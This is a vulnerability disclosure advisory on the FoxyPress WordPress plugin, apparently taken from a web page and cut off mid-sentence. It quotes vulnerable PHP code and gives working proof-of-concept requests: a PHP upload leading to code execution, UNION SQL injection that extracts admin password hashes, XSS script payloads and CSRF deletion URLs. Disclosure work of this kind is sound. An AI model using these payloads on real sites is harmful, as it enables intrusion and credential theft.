1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 |
[waraxe-2012-SA#095] - Multiple Vulnerabilities in WordPress FoxyPress Plugin =============================================================================== Author: Janek Vind "waraxe" Date: 30. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-95.html Description of vulnerable target: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ FoxyPress is a FREE shopping cart and product management tool that integrates with FoxyCart's e-commerce solution to help you get your store up and running quickly and efficiently. http://wordpress.org/extend/plugins/foxypress/ Affected version: 0.4.2.5 ############################################################################### 1. Arbitrary File Upload Vulnerability in "documenthandler.php" ############################################################################### Reasons: Missing security checks in file upload functionality Attack vectors: Uploaded file Preconditions: Logged in as admin with FoxyPress product editing privileges Php script "documenthandler.php" line 14: ------------------------[ source code start ]---------------------------------- if (!empty($_FILES)) { ... $targetpath = ABSPATH . INVENTORY_DOWNLOADABLE_LOCAL_DIR; ... $newfilename = foxypress_GenerateNewFileName($fileExtension, $inventory_id, $targetpath, $prefix); $targetpath = $targetpath . $newfilename; if(move_uploaded_file($_FILES['Filedata']['tmp_name'], $targetpath)) ------------------------[ source code end ]------------------------------------ As we can see above, there is no security checks against uploaded file. As result, attacker is able to upload files with arbitrary extension to remote system. In case of php files this vulnerability leads to RCE (Remote Code Execution). Test: 1. Open product editing webpage: http://localhost/wp342/wp-admin/post.php?post=43&action=edit 2. Look for "Digital Downloads". Insert some number to the input box below: "Max Downloads allowed (if you need to override the main setting)". 3. There must be "Browse Files" button (Flash-based). Choose the php file, you want to upload. We can observe AJAX in action and as result download link appears: http://localhost/wp342/wp-content/inventory_downloadables/my_download_jw82ku0jz9_43.php Opening that download link will execute previously uploaded php file. ############################################################################### 2. SQL Injection Vulnerability in "documenthandler.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: User-supplied POST parameter "prefix" Preconditions: Logged in as admin with FoxyPress product editing privileges Php script "documenthandler.php" line 14: ------------------------[ source code start ]---------------------------------- if (!empty($_FILES)) { $inventory_id = intval( $_POST['inventory_id'] ); $downloadabletable = $_POST['prefix']; ... $query = "INSERT INTO " . $downloadabletable . " SET inventory_id='" . $inventory_id . "', filename='" . mysql_escape_string($newfilename) . "',maxdownloads= '" . mysql_escape_string($downloadablemaxdownloads) . "', status = 1"; $wpdb->query($query); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied POST parameter "prefix" in used in subsequent SQL "INSERT INTO" query as table name. There is no input data sanitization, therefore attacker is able to insert any data to any tables in current database. Test (parameter "security" must be valid): -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=foxypress_download&security=844b64ce45" method="post" enctype="multipart/form-data"> <input type="file" name="Filedata"> <input type="hidden" name="downloadablemaxdownloads" value="1"> <input type="hidden" name="prefix" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (WordPress must be set to show SQL errors): WordPress database error: [Table 'wp342.waraxe' doesn't exist] INSERT INTO waraxe SET inventory_id='0', filename='downloadable_qga73aojs8_0.php', maxdownloads= '1', status = 1 ############################################################################### 3. SQL Injection Vulnerability in "foxypress-manage-emails.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: User-supplied GET parameter "id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "foxypress-manage-emails.php" line 14: ------------------------[ source code start ]---------------------------------- function foxypress_manage_emails_page_load() { global $wpdb; if(isset($_GET['mode']) && $_GET['mode']=='edit') { if(isset($_POST['foxy_em_save'])) { ... $sql = "UPDATE". $wpdb->prefix . "foxypress_email_templates set foxy_email_template_name='".$templatename."', foxy_email_template_subject='".$subject."', foxy_email_template_email_body='".$content."', foxy_email_template_from='" . $from . "' WHERE email_template_id=".$_GET[id]; ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&mode=edit&id=waraxe" method="post"> <input type="hidden" name="foxy_em_save" value="1"> <input type="hidden" name="templatename" value="2"> <input type="hidden" name="subject" value="3"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] UPDATE wp_foxypress_email_templates set foxy_email_template_name='2', foxy_email_template_subject='3', foxy_email_template_email_body='', foxy_email_template_from='' WHERE email_template_id=waraxe ############################################################################### 4. SQL Injection Vulnerabilities in "inventory-category.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: 1. case: User-supplied POST parameter "foxy_cat_id" 2. case: User-supplied GET parameter "category_id" Preconditions: Logged in as admin with FoxyPress management privileges *************** --> Case 1 <-- *************** Php script "inventory-category.php" line 28: ------------------------[ source code start ]---------------------------------- else if(isset($_POST['foxy_cat_save'])) //updating { $Category_Name = foxypress_FixPostVar('foxy_cat_name'); $Category_ID = foxypress_FixPostVar('foxy_cat_id'); $sql = "UPDATE " . $wpdb->prefix . "foxypress_inventory_categories SET category_name='" . $Category_Name . "' WHERE category_id=" . $Category_ID; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category" method="post"> <input type="hidden" name="foxy_cat_save" value="1"> <input type="hidden" name="foxy_cat_name" value="1"> <input type="hidden" name="foxy_cat_id" value="waraxe"> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] UPDATE wp_foxypress_inventory_categories SET category_name='1' WHERE category_id=waraxe *************** --> Case 2 <-- *************** Php script "inventory-category.php" line 36: ------------------------[ source code start ]---------------------------------- else if($mode == "delete" &&foxypress_FixGetVar('category_id') != "") //deleting { $category_id = foxypress_FixGetVar('category_id'); ... //delete from categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_categories WHERE category_id=" . $category_id; $wpdb->query($sql); //deletefrom inventory to categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_to_category WHERE category_id=" . $category_id; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category&mode=delete&category_id=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_foxypress_inventory_categories WHERE category_id=waraxe WordPress database error: [Unknown column 'waraxe' in 'where clause'] DELETE FROM wp_foxypress_inventory_to_category WHERE category_id=waraxe ############################################################################### 5. SQL Injection Vulnerabilities in "affiliate-management.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: 1. case: User-supplied GET parameter "order" 2. case: User-supplied GET parameter "banner_id" 3. case: User-supplied GET parameter "affiliate_id" Preconditions: Logged in as admin with FoxyPress management privileges *************** --> Case 1 <-- *************** Php script "affiliate-management.php" line 1060: ------------------------[ source code start ]---------------------------------- function foxypress_create_affiliate_table() { ... $banner_order_by = $fp_banner->foxypress_FixGetVar('orderby'); $banner_order= $fp_banner->foxypress_FixGetVar('order'); ... $fp_banner->prepare_items($banner_order_by, $banner_order); ... function prepare_items($order_by = '', $order = '') { ... if (!$order) { $sort_order = 'ASC'; } else { $sort_order = strtoupper($order); } if ($order_by === 'management_asset_name') { $sort_by = 'foxy_asset_name ' . $sort_order; } ... $sql_data = "SELECT * FROM " . $wpdb->base_prefix . "foxypress_affiliate_assets ORDER BY " . $sort_by; $data = $wpdb->get_results($sql_data); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&orderby=management_asset_name&order=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WARAXE' at line 3] SELECT * FROM wp_foxypress_affiliate_assets ORDER BY foxy_asset_name WARAXE *************** --> Case 2 <-- *************** Php script "affiliate-management.php" line 217: ------------------------[ source code start ]---------------------------------- function get_affiliate_banner() { global $wpdb; $banner_id = $this->foxypress_FixGetVar('banner_id'); $data = "SELECT * FROM " . $wpdb->prefix . "foxypress_affiliate_assets WHERE id = " . $banner_id; return $wpdb->get_results($data); } ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_banner&banner_id=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_foxypress_affiliate_assets WHERE id = waraxe Test (fetching admin credentials from database, table prefix must be valid): http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_banner&banner_id=0+UNION+SELECT+1,1,(SELECT+CONCAT_WS(0x3a,user_login,user_pass)FROM+wp_users+WHERE+ID=1),1,1,1 *************** --> Case 3 <-- *************** Php script "affiliate-management.php" line 951: ------------------------[ source code start ]---------------------------------- $affiliate_id = $this->foxypress_FixGetVar('affiliate_id'); $sql_data = "SELECT * FROM " . $wpdb->prefix . "foxypress_affiliate_payments WHERE foxy_affiliate_id = " . $affiliate_id . " ORDER BY " . $sort_by; ... $data = $wpdb->get_results($sql_data); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_past_details&affiliate_id=waraxe Result (WordPress must be set to show SQL errors): WordPress database error: [Unknown column 'waraxe' in 'where clause'] SELECT * FROM wp_foxypress_affiliate_payments WHERE foxy_affiliate_id = waraxe ORDER BY foxy_transaction_id DESC Test (fetching admin credentials from database, table prefix must be valid): http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=view_past_details&affiliate_id=0+UNION+SELECT+1,1,1,1,1,1,1,1,(SELECT+CONCAT_WS(0x3a,user_login,user_pass)FROM+wp_users+WHERE+ID=1),1,1 ############################################################################### 6. Reflected XSS Vulnerability in "reports.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied POST parameters "txtStartDate", "txtEndDate", "txtProductCode" Preconditions: Logged in as admin with FoxyPress management privileges Php script "reports.php" line 68: ------------------------[ source code start ]---------------------------------- if(isset($_POST['txtStartDate'])){$txtStartDate = $_POST['txtStartDate'];}else{$txtStartDate = "";} if(isset($_POST['txtEndDate'])){$txtEndDate = $_POST['txtEndDate'];}else{$txtEndDate = "";} if(isset($_POST['txtProductCode'])){$txtProductCode = $_POST['txtProductCode'];}else{$txtProductCode = "";} ... <input type="text" id="txtStartDate" name="txtStartDate" value=" <?php echo(($txtStartDate != "") ? $txtStartDate : date("Y-m-d"))?>" /> ... <input type="text" id="txtEndDate" name="txtEndDate"value=" <?php echo(($txtEndDate != "") ? $txtEndDate : date("Y-m-d")); ?>" /> ... <td><input id="txtProductCode" name="txtProductCode" type="text" value=" <?php echo($txtProductCode);?>" /></td> ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=reports&report=2" method="post"> <input type="hidden" name="txtStartDate" value='"><script>alert(123)</script>'> <input type="hidden" name="txtEndDate" value='"><script>alert(223)</script>'> <input type="hidden" name="txtProductCode" value='"><script>alert(323)</script>'> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 7. Reflected XSS Vulnerability in "foxypress-manage-emails.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied GET parameter "id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "foxypress-manage-emails.php" line 42: ------------------------[ source code start ]---------------------------------- <td width="180"><?php _e('Template ID', 'foxypress'); ?></td><td><?php _e($_GET['id']); ?></td> ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&mode=edit&id=<body+onload=alert(123);> ############################################################################### 8. Reflected XSS Vulnerability in "foxypress-affiliate.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied GET parameter "aff_id" Preconditions: Logged in as WordPress user Php script "foxypress-affiliate.php" line 16: ------------------------[ source code start ]---------------------------------- $affiliate_id = $_GET['aff_id']; ... $_SESSION['affiliate_id'] = $affiliate_id; ------------------------[ source code end ]------------------------------------ Php script "affiliate-signup.php" line 140: ------------------------[ source code start ]---------------------------------- <input type="hidden" name="affiliate_referred_by_id" id="affiliate_referred_by_id" value="<?php echo $_SESSION['affiliate_id']; ?>"> ------------------------[ source code end ]------------------------------------ Test (two-step XSS): 1. Log in as WordPress user who is not yet registered affiliate 2. open URL below: http://localhost/wp342/wp-content/plugins/foxypress/foxypress-affiliate.php?aff_id="><script>alert(123);</script> 3. open affiliate signup page: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-signup Result: we can observe XSS payload execution ############################################################################### 9. Reflected XSS Vulnerability in "order-management.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied GET parameter "status" Preconditions: Logged in as admin with FoxyPress management privileges Php script "order-management.php" line 173: ------------------------[ source code start ]---------------------------------- $List_Status = foxypress_FixGetVar("status", ""); ... $basePage =$Page_URL . "?post_type=" . FOXYPRESS_CUSTOM_POST_TYPE . "&page=order-management&status=" . $List_Status . "&mode=list"; ... <option value=\"" . $basePage. "\"" . (($Transaction_Type == "") ? "selected='selected'" : "") . ">" . __('All Transactions', 'foxypress') . "</option> ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=order-management&status="></option></select><script>alert(123);</script> ############################################################################### 10. Reflected XSS Vulnerability in "affiliate-management.php" ############################################################################### Reasons: Improper encoding or escaping of output Attack vectors: User-supplied POST parameter "page" Preconditions: Logged in as admin with FoxyPress management privileges Php script "affiliate-management.php" line 1125: ------------------------[ source code start ]---------------------------------- <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" /> ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]----------------------------------- <html><body><center> <form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management" method="post"> <input type="hidden" name="page" value='"><script>alert(123);</script>'> <input type="submit" value="Test"> </form> </center></body></html> --------------------------[ test code end ]------------------------------------ ############################################################################### 11. Open Redirect Vulnerability in "foxypress-affiliate.php" ############################################################################### Reasons: Insufficient sanitization of user-supplied data Attack vectors: User-supplied GET parameter "url" Preconditions: none Results: allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks Php script "foxypress-affiliate.php" line 17: ------------------------[ source code start ]---------------------------------- if (isset($_GET['url'])) { $destination_url = $_GET['url']; ... header('Location: ' . $destination_url); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-content/plugins/foxypress/foxypress-affiliate.php?url=http://php.net/ ############################################################################### 12. Information Leakage Vulnerability via directly accessible CSV files ############################################################################### Foxypress is using three different CSV files - "Inventory.csv", "Export.csv" and "Coupons.csv" as containers for temporal data. These three files are directly accessible and can be downloaded without any restrictions. As result attacker may obtain potentially sensitive information. Php script "import-export.php" line 34: ------------------------[ source code start ]---------------------------------- if (move_uploaded_file($_FILES['file_import']['tmp_name'], WP_PLUGIN_DIR . '/foxypress/Inventory.csv')) ... $f = fopen(WP_PLUGIN_DIR . "/foxypress/Export.csv", "x+"); ... fputcsv($f, $line ); fseek($f, -1, SEEK_CUR); fwrite($f, "\r\n"); ------------------------[ source code end ]------------------------------------ Php script "reports.php" line 557: ------------------------[ source code start ]---------------------------------- $f = fopen(WP_PLUGIN_DIR . "/foxypress/Coupons.csv", "x+"); ... fputcsv($f, $line); fseek($f, -1, SEEK_CUR); fwrite($f, "\r\n"); ------------------------[ source code end ]------------------------------------ Tests: http://localhost/wp342/wp-content/plugins/foxypress/Coupons.csv http://localhost/wp342/wp-content/plugins/foxypress/Export.csv http://localhost/wp342/wp-content/plugins/foxypress/Inventory.csv ############################################################################### 13. CSRF Vulnerability in "affiliate-management.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "mode" and "banner_id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "affiliate-management.php" line 1348: ------------------------[ source code start ]---------------------------------- <?php } else if ($mode === 'delete_banner') { global $wpdb; $banner_id = $fp_banner->foxypress_FixGetVar('banner_id'); $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_affiliate_assets WHERE ID = '" . $banner_id . "'"; ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=affiliate-management&mode=delete_banner&banner_id=123 Result: "Banner Deleted!" ############################################################################### 14. CSRF Vulnerabilities in "inventory-category.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "mode" and "category_id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "inventory-category.php" line 36: ------------------------[ source code start ]---------------------------------- else if($mode == "delete" &&foxypress_FixGetVar('category_id') != "") //deleting { $category_id = foxypress_FixGetVar('category_id'); ... //delete from categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_categories WHERE category_id=" . $category_id; $wpdb->query($sql); //deletefrom inventory to categories $sql = "DELETE FROM " . $wpdb->prefix . "foxypress_inventory_to_category WHERE category_id=" . $category_id; $wpdb->query($sql); ... else if($mode == "delete_image" && foxypress_FixGetVar('category_id') != "") { $category_id = foxypress_FixGetVar('category_id'); ... foxypress_DeleteItem($directory . $data->category_image); $wpdb->query("UPDATE " . $wpdb->prefix . "foxypress_inventory_categories SET category_image = NULL where category_id = '" . mysql_escape_string($category_id) . "'"); ------------------------[ source code end ]------------------------------------ Tests: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category&mode=delete&category_id=123 http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-category&mode=delete_image&category_id=123 ############################################################################### 15. CSRF Vulnerability in "inventory-option-groups.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "optiongroupid" Preconditions: Logged in as admin with FoxyPress management privileges Php script "inventory-option-groups.php" line 15: ------------------------[ source code start ]---------------------------------- $action = foxypress_FixGetVar("action"); ... else if($action == "deleteoptiongroup") { $option_group_id = foxypress_FixGetVar('optiongroupid', ''); if($option_group_id != "") { //delete option group $wpdb->query("delete from " . $wpdb->prefix . "foxypress_inventory_option_group" . " where option_group_id = '" . $option_group_id . "'"); //delete options related to option group $wpdb->query("delete from " . $wpdb->prefix . "foxypress_inventory_options" . " where option_group_id = '" . $option_group_id . "'"); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=inventory-option-groups&action=deleteoptiongroup&optiongroupid=123 ############################################################################### 16. CSRF Vulnerability in "status-management.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "status" Preconditions: Logged in as admin with FoxyPress management privileges Php script "status-management.php" line 18: ------------------------[ source code start ]---------------------------------- $StatusID = foxypress_FixGetVar("status", ""); $Action = foxypress_FixGetVar("action", ""); ... if($Action == "delete" && $StatusID != "" && $StatusID != "1") { //delete status $sql = "delete from" . $wpdb->prefix . "foxypress_transaction_status WHERE foxy_transaction_status = '$StatusID'"; $wpdb->query($sql); //update transactions in limbo to unprocessed $sql = "update " . $wpdb->prefix ."foxypress_transaction SET foxy_transaction_status = '1' WHERE foxy_transaction_status = '$StatusID'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=status-management&action=delete&status=123 ############################################################################### 17. CSRF Vulnerability in "order-management.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "note" Preconditions: Logged in as admin with FoxyPress management privileges Php script "order-management.php" line 19: ------------------------[ source code start ]---------------------------------- $Page_Action = foxypress_FixGetVar("action", ""); ... else if($Page_Action == "deletenote" && foxypress_FixGetVar("note", "") != "") { ... $NoteID = foxypress_FixGetVar("note", ""); $sql = "delete from" . $wpdb->prefix . "foxypress_transaction_note WHERE foxy_transaction_id = '$TransactionID' and foxy_transaction_note_id='$NoteID'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=order-management&action=deletenote¬e=123 ############################################################################### 18. CSRF Vulnerability in "foxypress-manage-emails.php" ############################################################################### Reasons: 1. Using GET method for non-idempotent operations 2. Missing anti-CSRF measures (for example "check_admin_referer()") Attack vectors: User-supplied GET parameters "action" and "id" Preconditions: Logged in as admin with FoxyPress management privileges Php script "foxypress-manage-emails.php" line 450: ------------------------[ source code start ]---------------------------------- $action = foxypress_FixGetVar('action'); if ($action === 'updated') { ... }else if ($action === 'delete') { sql = "delete from" . $wpdb->prefix . "foxypress_email_templates WHERE email_template_id = '".$_GET['id']."'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Test: http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&action=delete&id=123 Result: "Your email template has been successfully deleted!" ############################################################################### 19. Unauthorized Access Vulnerability in "ajax.php" ############################################################################### Reasons: missing authorization Preconditions: none Php script "ajax.php" line 7: ------------------------[ source code start ]---------------------------------- session_start(); ... $mode = foxypress_FixGetVar('m'); header('Content-type: application/json'); if($mode == "tracking") { //tracking vars $lastname = foxypress_FixGetVar('ln'); $id = foxypress_FixGetVar('id'); ... //search table for tracking number $item = $wpdb->get_row("SELECT t.*, s.foxy_transaction_status_description FROM " .$wpdb->prefix . "foxypress_transaction as t INNER JOIN " . $wpdb->prefix . "foxypress_transaction_status as s on t.foxy_transaction_status = s.foxy_transaction_status WHERE t.foxy_transaction_id = '" . $id . "' and LOWER(t.foxy_transaction_last_name) = LOWER('" . $lastname . "')"); ... else if($mode == "deletedownloadable") { ... $session_id = foxypress_FixGetVar('sid'); $downloadable_id = foxypress_FixGetVar('downloadableid'); ... if($session_id == session_id()) { ... $query = "UPDATE ". $wpdb->prefix. "foxypress_inventory_downloadables SET status = '0' WHERE downloadable_id='" . mysql_escape_string($downloadable_id) . "'"; $wpdb->query($query); ... else if($mode == "savemaxdownloads") ... else if($mode == "resetdownloadcount") ... else if($mode == "save-image-order") ... else if($mode == "transaction_submit") ... //save transaction status $sql = "update " . $wpdb->prefix ."foxypress_transaction SET foxy_transaction_status = '$NewStatus', foxy_transaction_trackingnumber = '$TrackingNumber', foxy_transaction_rmanumber = '$RMANumber' WHERE foxy_transaction_id = '$TransactionID'"; $wpdb->query($sql); ------------------------[ source code end ]------------------------------------ Php script "ajax.php" can handle six different operations: "tracking", "deletedownloadable", "savemaxdownloads", "resetdownloadcount", "save-image-order" and "transaction_submit". There is no authorization checks at all, so anyone can use this script, no valid session required. This security vulnerability may lead to information leakage and data tampering. 1. operation "tracking": if attacker can guess transaction ID and subject's last name, then it is possible to obtain shipping address, transaction status and tracking number. Transaction ID is integer and can be bruteforced. Test (transaction ID "id" and last name "ln" must be valid): http://localhost/wp342/wp-content/plugins/foxypress/ajax.php?m=tracking&id=123&ln=doe 2. operations "deletedownloadable", "savemaxdownloads", "resetdownloadcount" allows unauthorized attacker to manipulate with digital downloads settings. There is a check for valid php session ID, so attack will be 2-step. Test: First, let's open "ajax.php" webpage, so that php session is created: http://localhost/wp342/wp-content/plugins/foxypress/ajax.php Php session ID can be found from cookies: PHPSESSID=1jnd2u36vmvesa33jcsappmbs2 Next, let's issue GET request with found session ID: localhost/wp342/wp-content/plugins/foxypress/ajax.php?m=deletedownloadable&sid=1jnd2u36vmvesa33jcsappmbs2&inventoryid=foobar&downloadableid=2 Result: {"ajax_status":"ok"} In this way unauthorized attacker can delete (disable) any digital downloads. 3. operation "save-image-order" allows unauthorized attacker to change menu ordering and has minor effect. 4. operation "transaction_submit" allows unauthorized attacker to change transaction status, tracking number and RMA number, if transaction ID is known. Transaction ID is integer and can be bruteforced. ############################################################################### 20. Full Path Disclosure Vulnerability in multiple scripts ############################################################################### Reasons: Direct request to php script triggers pathname leak in error message Preconditions: PHP directive "display_errors=on" Result: Information Exposure Through an Error Message Tests: http://localhost/wp342/wp-content/plugins/foxypress/custom-post-type.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\custom-post-type.php on line 9 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-manage-emails.php Fatal error: Call to undefined function load_plugin_textdomain() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-manage-emails.php on line 9 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-redirect.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-redirect.php on line 8 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-settings.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-settings.php on line 8 http://localhost/wp342/wp-content/plugins/foxypress/foxypress-templates.php Fatal error: Call to undefined function load_plugin_textdomain() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress-templates.php on line 9 http://localhost/wp342/wp-content/plugins/foxypress/foxypress.php Fatal error: Call to undefined function register_activation_hook() in C:\apache_www\wp342\wp-content\plugins\foxypress\foxypress.php on line 46 http://localhost/wp342/wp-content/plugins/foxypress/import-export.php Fatal error: Call to undefined function add_action() in 